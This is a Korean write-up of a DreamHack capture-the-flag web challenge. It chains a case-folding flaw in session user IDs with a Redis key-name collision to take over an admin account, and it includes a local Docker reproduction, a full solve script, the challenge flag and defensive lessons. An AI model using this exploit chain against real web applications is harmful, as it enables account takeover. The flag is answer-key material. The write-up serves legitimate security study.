문제: DreamHack — WEB_2021A_Medium 분류: web 난이도: 🥈 Silver 1 FLAG:
DH{3cd6941075580d889519fcf1bd422bd1}

문제 설명은 한 문장이다. "ADMIN 계정으로 로그인 하고 이메일 인증을 완료하세요."
할 일이 두 개라고 친절하게 알려 주는 셈인데, 둘 다 정공법으로는 불가능하다. admin 의 비밀번호는
배포본에서 지워진 SECRET 의 MD5 고, 이메일 인증코드는 admin@ctfprob.dreamhack.io 로 날아가는
6자리 난수다. 우리에게는 그 메일함도 없고 그 비밀번호도 없다.
그런데 이 앱은 "내가 누구인가"를 두 군데에 서로 다른 모양으로 적어 둔다. 하나는 SQLite 의
user 테이블이고 다른 하나는 Flask 세션이다. 그 둘 사이에 대소문자 한 겹이 끼어 있고,
인증코드를 담는 Redis 키 이름에도 비슷한 틈이 하나 더 있다. 두 틈을 각각 비집으면 비밀번호도
메일함도 없이 관리자 자리에 앉는다.
문제 개요
| 항목 | 내용 |
|---|---|
| 문제명 | WEB_2021A_Medium |
| 난이도 | 🥈 Silver 1 |
| 분류 | web |
| 출처 | Dreamhack CTF Season 1 Round #4 |
| 스택 | Python · Flask · Flask-SQLAlchemy(SQLite) · Redis |
| 제공 파일 | app.py 222줄 + utils.py(본문 삭제) + Bootstrap 템플릿 7장 |
| 핵심 취약점 | 세션 userid 의 대소문자 붕괴 + Redis 키 이름 공간 충돌 |
공격 흐름은 세 번의 POST 다. auth:admin 이라는 이름으로 가입해 메일 발송을 한 번 누르고,
ADMIN 이라는 이름으로 한 번 더 가입한 뒤, 인증코드 칸에 1 을 넣는다. 그게 전부다.
🔬 코드 정찰 — 222줄이 전부다
받은 zip 을 풀면 Flask 앱 한 장과 Bootstrap 정적 파일이 나온다. 핵심 로직은 app.py 222줄에
전부 들어 있고, utils.py 는 네 줄인데 그 네 줄의 알맹이가 지워져 있다.
wc -l extracted/app.py extracted/utils.py && cat extracted/utils.py && echo && ls extracted/templates
지워진 세 가지가 각각 무엇을 뜻하는지가 곧 문제의 제약이다. send_mail 이 지워졌다는 건
메일이 실제로 어디론가 날아간다는 뜻이고(우리는 그 메일함을 못 본다), FLAG 와 SECRET 이
지워졌다는 건 admin 의 비밀번호를 계산할 방법이 없다는 뜻이다. app.py 47~49행에는 admin
계정을 만들던 코드가 주석으로 남아 있는데, 거기서 비밀번호가 hashlib.md5(util.SECRET).hexdigest()
라고 알려 준다. 재료가 없으니 결과도 없다.
# usr = User(userid='admin', password=hashlib.md5(util.SECRET).hexdigest(), email=f'admin@ctfprob.dreamhack.io')
# db.session.add(usr)
# db.session.commit()플래그를 주는 조건은 /flag 라우트 다섯 줄에 적혀 있다.
@app.route("/flag")
def flag():
if not is_login():
return alert("No Signin!")
myusr = User.query.filter_by(userid=get_userid()).first()
if myusr.userid == "admin" and myusr.auth:
return render_template("flag.html", flag=FLAG)
return alert("No Flag")get_userid() 가 돌려주는 이름으로 DB 를 뒤져서, 그 행의 userid 가 admin 이고 그 행의
auth 가 참이어야 한다. 눈여겨볼 것은 조건을 세션이 아니라 DB 행에서 읽는다는 점이다.
세션은 "어느 행을 읽을지" 만 고른다.
🧩 배경 — 이 앱은 신원을 두 군데에 적는다
Flask 세션은 쿠키에 담겨 클라이언트로 내려간다. 서버가 서명하니 위조는 못 하지만, 그 안에 무엇을
넣을지는 서버 코드가 정한다. 이 앱은 가입·로그인에 성공하면 User.to_json() 의 결과를 통째로
세션에 넣는다. 그리고 그 to_json() 이 값을 손본다.
grep 한 번이면 관련 지점이 한 화면에 모인다.
grep -n "lower()\|get_userid\|filter_by(userid\|myusr.userid ==\|unique=True" extracted/app.py
같은 이름이 두 곳에서 다른 규칙으로 다뤄지고 있다.
| 위치 | 저장되는 값 | 비교 방식 |
|---|---|---|
SQLite user.userid (26행) | 입력 그대로 | UNIQUE — SQLite 기본 BINARY 비교라 대소문자 구분 |
Flask 세션 info["userid"] (39행) | .lower() 한 값 | 이후 모든 조회의 입력값 |
여기서 틈이 생긴다. ADMIN 은 admin 과 다른 값이라 가입이 통과하는데, 세션에 적히는 순간
admin 이 되어 같은 값이 된다. 통과시킬 때는 다르다고 보고, 사용할 때는 같다고 보는 것이다.
💣 취약점 ① — 대문자로 가입하면 세션이 admin 이 된다
말로만 보면 미심쩍으니 직접 띄워서 확인했다. 배포본에는 Dockerfile 이 없어서 직접 썼다.
db.create_all() 이 import 시점에 호출되는 구버전 Flask-SQLAlchemy 구조라, 패키지 버전을
그때 기준으로 못 박아야 그대로 돈다.
FROM python:3.8-slim
RUN apt-get update && apt-get install -y --no-install-recommends redis-server \
&& rm -rf /var/lib/apt/lists/*
RUN pip install --no-cache-dir flask==1.1.2 Werkzeug==1.0.1 Jinja2==2.11.3 \
itsdangerous==1.1.0 MarkupSafe==1.1.1 flask_sqlalchemy==2.4.4 \
SQLAlchemy==1.3.20 redis==3.5.3
WORKDIR /app
COPY app.py utils.py init_admin.py ./
COPY templates ./templates
COPY static ./static
COPY start.sh /start.sh
RUN chmod +x /start.sh
EXPOSE 5000
CMD ["/start.sh"]지워진 utils.py 는 최소한으로 채웠다. 메일은 실제로 보낼 수 없으니 파일에 적고 참을 돌려준다.
# 배포본의 utils.py 는 본문이 **DELETED** 라 로컬 재현용으로 최소 구현만 채운다.
# send_mail 은 실제 SMTP 대신 /tmp/mail.log 에 적어 "메일이 나갔다"만 흉내낸다.
def send_mail(email, authcode):
with open("/tmp/mail.log", "a") as f:
f.write(f"TO={email} CODE={authcode}\n")
return True
FLAG = "DH{LOCAL_FAKE_FLAG_for_repro_only}"
SECRET = b"local_secret_not_the_real_one"admin 행은 주석으로 남아 있던 코드를 그대로 되살려 넣는다.
# app.py 47~49행에 주석으로 남아 있는 admin 계정 생성 코드를 로컬 재현용으로 되살린다.
# flask_sqlalchemy 2.x 의 'sqlite:///db.db' 는 app.root_path 기준이라 /app/db.db 다.
import hashlib, sqlite3
from utils import SECRET
con = sqlite3.connect("/app/db.db")
con.execute("""CREATE TABLE IF NOT EXISTS user (
id INTEGER NOT NULL PRIMARY KEY,
userid VARCHAR(80) UNIQUE,
password VARCHAR(80),
email VARCHAR(80),
auth BOOLEAN)""")
con.execute("DELETE FROM user")
con.execute("INSERT INTO user (userid, password, email, auth) VALUES (?,?,?,0)",
("admin", hashlib.md5(SECRET).hexdigest(), "admin@ctfprob.dreamhack.io"))
con.commit()
print("admin row:", list(con.execute("SELECT id,userid,email,auth FROM user")))start.sh 는 Redis 를 먼저 띄우고 위 스크립트를 돌린 뒤 앱을 실행한다.
#!/bin/sh
set -e
redis-server --daemonize yes --save '' --appendonly no
sleep 1
python3 init_admin.py
exec python3 app.py빌드하고 띄운다.
docker build -q -t web2021a-medium local/ && docker run -d --name web2021a -p 15115:5000 web2021a-medium && sleep 5 && curl -s -o /dev/null -w "local index: %{http_code}\n" http://127.0.0.1:15115/
이제 대문자 ADMIN 으로 가입해서 DB 와 세션이 각각 뭐라고 적는지 나란히 본다. index.html 이
session['info'] 를 <pre> 로 그대로 찍어 주기 때문에 응답에서 그 블록만 잘라내면 된다.
#!/bin/sh
# 대문자 ADMIN 으로 가입했을 때 (1) DB 에 행이 따로 생기는지 (2) 세션엔 뭐가 들어가는지.
# index.html 이 session['info'] 를 <pre> 로 그대로 찍어 주므로 그 블록만 잘라 본다.
# Jinja 가 따옴표를 " 로 이스케이프하니 읽기 좋게 되돌린다.
B=http://127.0.0.1:15115
curl -s -c jar.txt -d 'userid=ADMIN&userpw=zino1234' $B/signup
echo
curl -s -b jar.txt $B/ | sed -n '/<pre>/,/<\/pre>/p' | sed 's/"/"/g'
echo '--- sqlite user 테이블 ---'
docker exec web2021a python3 -c \
"import sqlite3
for r in sqlite3.connect('/app/db.db').execute('select id,userid,email,auth from user'): print(r)"
DB 에는 admin(id 1)과 ADMIN(id 2)이 다른 행으로 공존하는데, 세션에는 "userid": "admin"
한 줄만 적혀 있다. 이 순간부터 get_userid() 는 admin 을 돌려주고, /flag 와
/email_verify_chk 가 꺼내 오는 행은 내 행이 아니라 id 1 의 진짜 admin 행이다.
email 도 같이 소문자로 내려앉아 admin@ctfprob.dreamhack.io 가 된다. 이게 두 번째 취약점의
입구가 된다 — 인증 관련 코드는 전부 이 이메일 문자열을 열쇠로 쓰기 때문이다.
참고로 세션 JSON 의
auth는 내 행(id 2)의 값이라 끝까지false로 남는다. 하지만/flag는 세션이 아니라 DB 행을 다시 읽으므로 상관없다. 화면에false가 떠 있어도 플래그는 나온다.
💣 취약점 ② — 인증코드와 발송 횟수가 같은 칸을 쓴다
남은 조건은 auth = True 다. 이건 /email_verify_chk 에서만 켜지고, 거기 들어가려면 메일로
받은 6자리 코드를 맞춰야 한다. 코드를 다루는 Auth 클래스를 통째로 본다.
sed -n "52,72p" extracted/app.py
키 이름이 세 가지다.
class Auth:
def __init__(self, email):
self.email = email
self.emailauth_key = f"auth:{self.email}" # 인증코드
self.getcount_key = f"auth_count:{self.email}" # 확인 시도 횟수
def set(self):
setcount = conn.get(self.email) # ← 발송 횟수는 이메일 '그 자체'
if setcount:
setcount = int(setcount) + 1
else:
setcount = 1
if setcount < 5:
self.random_key = f"{random.randint(111111, 999999):04d}"
conn.set(self.emailauth_key, self.random_key)
conn.set(self.getcount_key, "0")
conn.set(self.email, setcount) # ← 여기가 문제다
return True
else:
return False인증코드와 확인 횟수는 접두사를 붙인 키에 들어가는데, 발송 횟수만 접두사 없이 이메일 문자열 자체를 키로 쓴다. Redis 는 키 하나짜리 평평한 문자열 공간이다. 접두사를 붙이는 쪽과 안 붙이는 쪽이 섞이면, 접두사를 포함한 이름을 가진 사용자가 생기는 순간 두 공간이 겹친다.
그리고 이메일은 우리가 고를 수 있다.
def verify_uid(userid):
for banword in ["@", " "]:
if banword in userid:
return False
return True
# signup 안에서
email=f"{userid}@ctfprob.dreamhack.io",이메일을 직접 입력받지 않고 userid 로 만들며, 막는 글자는 @ 와 공백 둘뿐이다. 콜론은
막지 않는다. 그래서 userid = "auth:admin" 으로 가입하면 그 계정의 이메일은
auth:admin@ctfprob.dreamhack.io 가 되고, 그 계정의 발송 횟수 키가 곧 admin 의
인증코드 키가 된다.

즉 auth:admin 계정으로 메일 발송 버튼을 한 번 누르면 서버는 이렇게 쓴다.
SET "auth:auth:admin@ctfprob.dreamhack.io" <6자리 난수> ← 이 계정의 인증코드
SET "auth_count:auth:admin@ctfprob.dreamhack.io" 0
SET "auth:admin@ctfprob.dreamhack.io" 1 ← 이 계정의 발송 횟수
← = admin 의 인증코드마지막 줄이 핵심이다. admin 의 인증코드 칸에 1 이 들어간다. 6자리 난수를 맞출 필요가 없다 —
우리가 값을 정해서 넣은 것이다.
🐛 삽질
▶🕳️ 삽질 — 안 되는 길 다섯 가지를 전부 돌려 봤다
1. admin 으로 그냥 가입하기
제일 먼저 해 볼 만한 것. 문제 서버에 admin 행이 이미 있으니 UNIQUE 제약에 걸린다.
signup 의 try/except 가 이걸 통째로 삼켜서 Already Signup 만 돌려준다.
userid=admin -> Already Signup2. 이메일을 내 것으로 지정하기
email 파라미터를 직접 보내면 될 것 같지만, 폼에도 코드에도 그런 파라미터가 없다. 이메일은
userid 에서만 만들어지고 verify_uid 가 @ 와 공백을 막는다. 콜론만 통과한다.
userid='victim@evil.com' -> Check userid
userid='ad min' -> Check userid
userid='auth:admin' -> Signup!3. 키 충돌 없이 바로 인증코드 제출하기
/email_verify_chk 는 /email_verify 를 거치지 않아도 들어갈 수 있다. 그래서 가입하자마자
아무 코드나 넣어 보면 될 것 같지만, 코드 칸이 비어 있으면 auth.get() 이 None 을 돌려주고
그 분기가 먼저 끊는다.
바로 email_verify_chk -> Too many Auth or No Code Generated
flag -> No Flag코드 칸에 무언가 값이 들어 있어야 비교까지 간다. 그래서 취약점 ②가 필요하다.
4. 6자리 코드 무차별 대입
가장 먼저 포기하게 되는 길인데, 실제 예산이 얼마인지는 재 봐야 안다. Auth.get() 은
확인 횟수가 5 미만일 때만 코드를 돌려주고, Auth.set() 은 발송 횟수가 5 미만일 때만 새 코드를
만든다. 발송 한 번마다 확인 횟수가 0 으로 초기화되니 발송 4회 × 확인 4회 = 16회가 상한이다.

random.randint(111111, 999999) 의 경우의 수는 888,889 가지다. 16회면 0.0018% 다.
참고로 코드 생성 줄의 :04d 포맷은 아무 일도 하지 않는다 — 이미 6자리라 4칸 패딩이 걸리지
않는다. 자릿수를 줄여 주지도, 앞을 0 으로 채워 주지도 않는다.
5. ★ 순서를 뒤집기 — 이건 인스턴스를 되살릴 수 없게 만든다
이게 제일 위험한 함정이다. ADMIN 쪽에서 /email_verify 를 먼저 눌러 보고 싶어진다. 어떤
화면이 나오는지 궁금하니까. 그런데 그러면 admin 의 코드 칸에 6자리 난수가 들어가고,
그 뒤로 auth:admin 계정이 발송을 누를 때마다 Auth.set() 이 그 난수를 발송 횟수로 읽는다.
int("847397") + 1 은 당연히 5 보다 크니 영원히 Too many Auth 다.

같은 이메일로 set() 을 할 수 있는 계정은 auth:admin 하나뿐이라 되돌릴 방법이 없다.
이 상태가 되면 그 인스턴스는 버리고 새로 받아야 한다. 키 충돌 계정의 발송이 먼저,
ADMIN 의 확인이 나중이다.
위 다섯 가지를 재현한 스크립트
#!/usr/bin/env python3
"""WEB_2021A_Medium — 막다른 길 실측.
케이스마다 컨테이너 상태가 오염되므로 깨끗한 인스턴스에서 하나씩 돌린다.
python3 deadends.py <base_url> <case>
case: dup | banword | noverify | order | budget
"""
import sys, urllib.request, urllib.parse, http.cookiejar, random
BASE, CASE = sys.argv[1].rstrip("/"), sys.argv[2]
class Sess:
def __init__(s):
s.op = urllib.request.build_opener(
urllib.request.HTTPCookieProcessor(http.cookiejar.CookieJar()))
def go(s, path, data=None):
body = urllib.parse.urlencode(data).encode() if data is not None else None
with s.op.open(urllib.request.Request(BASE + path, data=body), timeout=15) as r:
t = r.read().decode(errors="replace")
return t[t.find('alert("') + 7: t.find('");')] if 'alert("' in t else t
if CASE == "dup":
# 진짜 admin 행이 이미 있으니 같은 이름은 UNIQUE 에 걸린다.
print("userid=admin ->", Sess().go("/signup", {"userid": "admin", "userpw": "a"}))
elif CASE == "banword":
# verify_uid 가 막는 두 글자. 이메일을 직접 고르는 길은 여기서 끊긴다.
for uid in ["victim@evil.com", "ad min", "auth:admin"]:
print(f"userid={uid!r:20s} ->", Sess().go("/signup", {"userid": uid, "userpw": "a"}))
elif CASE == "noverify":
# 키 충돌 없이 곧장 확인 단계로 가면 코드 자리가 비어 있다.
b = Sess(); b.go("/signup", {"userid": "ADMIN", "userpw": "a"})
print("바로 email_verify_chk ->", b.go("/email_verify_chk", {"code": "1"}))
print("flag ->", b.go("/flag"))
elif CASE == "order":
# ★ 순서를 뒤집으면 복구 불가. ADMIN 이 먼저 발송하면 코드 자리에 6자리 난수가
# 들어가고, 그 값을 카운터로 읽는 키충돌 계정은 영원히 setcount>=5 가 된다.
b = Sess(); b.go("/signup", {"userid": "ADMIN", "userpw": "a"})
print("ADMIN 발송 ->", b.go("/email_verify", {}))
a = Sess(); a.go("/signup", {"userid": "auth:admin", "userpw": "a"})
for i in range(3):
print(f"키충돌 계정 발송 {i+1}회차 ->", a.go("/email_verify", {}))
print("ADMIN code=1 ->", b.go("/email_verify_chk", {"code": "1"}))
elif CASE == "budget":
# 무차별 대입 예산 실측: set() 1회당 get() 4회, set() 은 계정당 4회.
b = Sess(); b.go("/signup", {"userid": "ADMIN", "userpw": "a"})
tries = 0
for s in range(6):
r = b.go("/email_verify", {})
print(f" set #{s+1}: {r}")
if "Too many" in r:
break
for g in range(6):
r = b.go("/email_verify_chk", {"code": f"{random.randint(111111,999999)}"})
tries += 1
print(f" get #{g+1}: {r}")
if "Too many" in r:
tries -= 1
break
print(f"총 추측 가능 횟수 = {tries} / 경우의 수 888889 = {tries/888889:.7%}")🚀 Full Exploit
두 취약점을 순서대로 붙이면 끝이다. 표준 라이브러리만 쓴다.
#!/usr/bin/env python3
"""WEB_2021A_Medium (Dreamhack, Silver 1, web) — 자동 풀이.
python3 solve.py http://host1.dreamhack.games:PORT/
취약점 두 개를 이어 붙인다.
(1) 세션 신원의 대소문자 붕괴
User.to_json() 이 userid 를 .lower() 해서 세션에 넣는다. 반면 DB 의 UNIQUE
제약은 SQLite 기본 BINARY 비교라 'ADMIN' 과 'admin' 을 다른 값으로 본다.
그래서 'ADMIN' 으로 가입하면 내 행은 따로 생기는데, 세션의 userid 는 'admin'
이 되어 이후 모든 User.query.filter_by(userid=...) 가 진짜 admin 행을 가리킨다.
(2) Redis 키 이름 공간의 충돌
Auth 는 코드를 "auth:<이메일>" 에, 발송 횟수를 "<이메일>" 에 저장한다.
이메일은 "<userid>@ctfprob.dreamhack.io" 로 userid 에서 만들어지고,
verify_uid 는 '@' 와 공백만 막는다. userid='auth:admin' 으로 가입하면
그 계정의 '발송 횟수' 키가 곧 admin 의 '인증코드' 키가 된다.
발송을 한 번 누르면 그 자리에 횟수 1 이 덮여, 코드가 1 로 고정된다.
★ 순서가 중요하다. ADMIN 쪽에서 /email_verify 를 먼저 누르면 코드 자리에
6자리 난수가 들어가고, 키충돌 계정은 그 값을 카운터로 읽어 setcount>=5 가
되어 영구히 'Too many Auth' 가 된다. 그 인스턴스는 되살릴 수 없다.
"""
import sys, urllib.request, urllib.parse, http.cookiejar
BASE = (sys.argv[1] if len(sys.argv) > 1 else "http://127.0.0.1:15115").rstrip("/")
PW = "zino1234"
class Sess:
"""쿠키를 따로 들고 다니는 브라우저 한 개."""
def __init__(self, name):
self.name = name
self.op = urllib.request.build_opener(
urllib.request.HTTPCookieProcessor(http.cookiejar.CookieJar()))
def enter(self, userid):
"""가입을 시도하고, 이미 있는 계정이면 로그인으로 붙는다.
같은 인스턴스에 두 번째로 돌릴 때를 위한 것이다 — 계정은 남아 있는데
세션만 없는 상태라 signup 은 'Already Signup' 으로 끝난다.
"""
if "Already Signup" in self.go("/signup", {"userid": userid, "userpw": PW}):
self.go("/signin", {"userid": userid, "userpw": PW})
def go(self, path, form=None):
body = urllib.parse.urlencode(form).encode() if form is not None else None
req = urllib.request.Request(BASE + path, data=body)
with self.op.open(req, timeout=20) as r:
text = r.read().decode(errors="replace")
verb = "POST" if form is not None else "GET "
# 이 앱은 모든 결과를 alert() 한 줄로 돌려준다. 그 문구만 뽑아 찍는다.
msg = text[text.find('alert("') + 7: text.find('");')] if 'alert("' in text else "(HTML)"
print(f" [{self.name}] {verb} {path:18s} -> {msg}")
return text
print(f"[*] target {BASE}")
# ── 1단계: 키 충돌 계정. 이메일이 auth:admin@ctfprob.dreamhack.io 가 된다.
print("[1] Redis 키 충돌 계정 생성 + 발송 1회")
keycol = Sess("keycol")
keycol.enter("auth:admin")
# Auth.set() 안의 conn.set(self.email, setcount) 가
# SET "auth:admin@ctfprob.dreamhack.io" 1 을 실행한다 = admin 의 인증코드 = "1".
# 메일 발송이 실패해도 Redis 쓰기가 먼저라 결과는 같다.
keycol.go("/email_verify", {})
# ── 2단계: 대문자 ADMIN 가입. 세션 userid 가 소문자 admin 으로 내려앉는다.
print("[2] ADMIN(대문자) 가입 — 세션 userid 는 admin 으로 접힌다")
admin = Sess("ADMIN ")
admin.enter("ADMIN")
# ── 3단계: 발송을 건너뛰고 바로 확인. 코드 자리에는 1 이 들어 있다.
print("[3] 발송 없이 인증코드 제출 — 코드는 그 계정의 발송 횟수라 1~4 중 하나다")
for code in "1234":
if "AUTH!" in admin.go("/email_verify_chk", {"code": code}):
break
# ── 4단계: 플래그.
print("[4] /flag")
html = admin.go("/flag")
flag = ""
if "DH{" in html:
seg = html[html.find("DH{"):]
flag = seg[:seg.find("}") + 1]
print("\nFLAG:", flag if flag else "(획득 실패 — 위 응답 확인)")3단계에서 코드를 1 하나로 못 박지 않고 1~4 를 훑는 이유가 있다. 그 칸에 들어가는 값은
auth:admin 계정의 누적 발송 횟수라, 같은 인스턴스에서 이미 한 번 돌렸다면 2 가 되고
그 다음엔 3 이 된다. 네 개만 확인하면 어떤 상태에서도 맞는다(발송 자체가 4회로 막히므로
5 이상은 나올 수 없다). 확인 예산도 4회라 딱 들어맞는다.
로컬에서 먼저 돌려 본다.
python3 solve.py http://127.0.0.1:15115
플래그가 나왔으니 Redis 안에 무엇이 남았는지도 직접 본다. 키 이름이 겹친다는 주장이 추측이 아니라는 증거다.
#!/bin/sh
# 컨테이너 안 Redis 에 실제로 어떤 키가 생겼는지 이름과 값을 같이 본다.
for k in $(docker exec web2021a redis-cli KEYS '*'); do
printf '%-45s = %s\n' "$k" "$(docker exec web2021a redis-cli GET "$k")"
done
네 개의 키가 보인다. auth:auth:admin@... 에 들어 있는 905384 가 내가 만든 계정에게
실제로 발급된 6자리 코드고, auth:admin@... 에 들어 있는 1 이 admin 의 코드 자리를
덮어쓴 발송 횟수다. 하나는 난수고 하나는 우리가 정한 값이다.
🎯 라이브 인스턴스
로컬에서 확신이 섰으니 문제 서버를 켜고 같은 스크립트를 그대로 던진다.
python3 solve.py http://host3.dreamhack.games:10094/
이 화면은 같은 인스턴스에 두 번째로 돌린 것이라 가입이 Already Signup 으로 끊기고 로그인으로
폴백한다. 인증코드도 첫 시도 1 은 Check Code 로 튕기고 2 에서 통과하는데, 앞에서 말한
"그 칸에는 누적 발송 횟수가 들어간다"가 그대로 보이는 장면이다. 처음 한 번은 1 에서 끝난다.
브라우저로도 확인한다. ADMIN / zino1234 로 로그인한다.

로그인 직후 메인 화면의 User Info 가 세션 내용을 그대로 보여 준다.

ADMIN 으로 로그인했는데 화면에는 "userid": "admin" 이라고 적혀 있다. 이메일 인증 페이지에
들어가면 이 이메일이 그대로 따라온다.

User Email 칸이 admin@ctfprob.dreamhack.io 다. 우리는 이 메일함을 볼 수 없지만, 그 이메일
문자열로 만들어지는 Redis 키는 이미 우리가 덮어썼다. 인증을 통과한 뒤 /flag 로 간다.

DH{3cd6941075580d889519fcf1bd422bd1}📝 결론
이 문제의 두 버그는 성격이 다르지만 원인은 하나다. 같은 값을 서로 다른 규칙으로 다루는 코드가 한 앱 안에 공존한다는 것.
첫째, 정규화는 쓰기와 읽기 중 한쪽에만 적용되면 안 된다. to_json() 의 .lower() 는
아마 "표시용으로 깔끔하게" 정도의 의도였을 것이다. 그런데 그 값이 그대로 조회 키가 되면서
"가입할 때는 다른 이름, 조회할 때는 같은 이름"이 되어 버렸다. 로그인 ID 를 대소문자 구분 없이
쓸 생각이라면 저장 시점에 소문자로 낮춰 넣고 UNIQUE 도 그 값에 걸어야 한다. SQLite 라면
컬럼에 COLLATE NOCASE 를, MySQL 이라면 utf8mb4_bin 을 쓸지 말지를 처음에 한 번만 정하고
전 구간에서 같은 규칙으로 간다. 이건 CTF 만의 이야기가 아니라, 실제 서비스에서 유니코드 대소문자
변환(İ → i̇ 같은)으로 계정 탈취가 난 사례들과 같은 모양의 버그다.
둘째, 키·네임스페이스는 접두사를 전부 붙이거나 전부 안 붙여야 한다. auth:<email> 과
auth_count:<email> 까지 가 놓고 발송 횟수만 <email> 로 둔 것은 실수에 가깝다. 하지만
접두사를 빠뜨린 것 자체보다 키 재료에 사용자 입력이 그대로 들어간다는 게 더 근본적인
문제다. 사용자가 고를 수 있는 문자열을 키에 넣을 거면 구분자로 못 쓸 글자(:)를 막거나,
해시(auth:{sha256(email)})처럼 길이와 문자 집합이 고정된 형태로 바꿔야 한다. Redis 의
평평한 키 공간에서는 "이름이 겹친다"가 곧 "데이터가 겹친다"다.
셋째, 인증 상태를 바꾸는 주체와 인증 수단을 묶는 열쇠가 달랐다. email_verify_chk 는
코드를 이메일로 찾아 비교하고, 통과하면 userid 로 행을 찾아 auth 를 켠다. 두 열쇠가
같은 사용자를 가리킨다는 보장이 코드 어디에도 없다. 이 문제에서는 둘 다 세션에서 나오니
우연히 맞아떨어졌지만, 애초에 "방금 코드를 맞힌 그 세션의 그 계정"을 한 번의 조회로 집었다면
대소문자 틈이 있어도 공격이 이렇게 깔끔하게 서지는 않았다. 검증과 상태 변경은 같은 식별자를
쓰고, 가능하면 같은 트랜잭션 안에서 처리하는 게 맞다.
넷째, 메일 인증 코드에 횟수 제한이 걸려 있다고 안심하지 말 것. 발송 4회 × 확인 4회 = 16회는 888,889 분의 16 이라 무차별 대입에는 충분히 단단하다. 실제로 그 길은 막혀 있었다. 그런데 코드가 저장되는 칸 자체를 공격자가 쓸 수 있으면 난수의 크기는 아무 의미가 없다. 레이트 리밋은 "값을 맞히는 공격"만 막는다. "값을 바꾸는 공격"은 전혀 다른 층위에서 막아야 한다.
이 글은 합법적인 워게임 환경(DreamHack)에서 진행한 풀이 기록입니다. 모든 실험은 개인에게 할당된 격리 인스턴스와 로컬 Docker 재현본에서만 수행했습니다.
Comments
댓글
댓글을 남기려면 로그인이 필요해요. (네이버 · 구글 계정)
댓글 불러오는 중…